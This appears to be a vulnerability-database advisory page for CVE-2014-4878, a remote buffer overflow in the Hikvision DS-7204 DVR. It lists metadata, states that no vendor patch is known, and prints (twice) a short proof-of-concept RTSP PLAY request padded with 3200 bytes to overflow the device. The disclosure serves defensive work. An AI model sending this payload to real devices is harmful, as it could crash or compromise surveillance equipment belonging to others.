Hikvision DVR DS-7204 CVE-2014-4878 Remote Buffer Overflow Vulnerability
BID:71302
Info
Hikvision DVR DS-7204 CVE-2014-4878 Remote Buffer Overflow Vulnerability
| Bugtraq ID: | 71302 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2014-4878 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 19 2014 12:00AM |
| Updated: | Nov 19 2014 12:00AM |
| Credit: | Mark Schloesser |
| Vulnerable: |
Hikvision Digital Technology DS-7204 2.2.10 |
| Not Vulnerable: | |
Exploit / POC
Hikvision DVR DS-7204 CVE-2014-4878 Remote Buffer Overflow Vulnerability
The following proof of concept is available:
request = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
request += "CSeq: 7\r\n"
request += "Authorization: Basic AAAAAAA\r\n"
request += "Content-length: 3200\r\n\r\n"
request += "A"*3200
The following proof of concept is available:
request = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
request += "CSeq: 7\r\n"
request += "Authorization: Basic AAAAAAA\r\n"
request += "Content-length: 3200\r\n\r\n"
request += "A"*3200
Solution / Fix
Hikvision DVR DS-7204 CVE-2014-4878 Remote Buffer Overflow Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].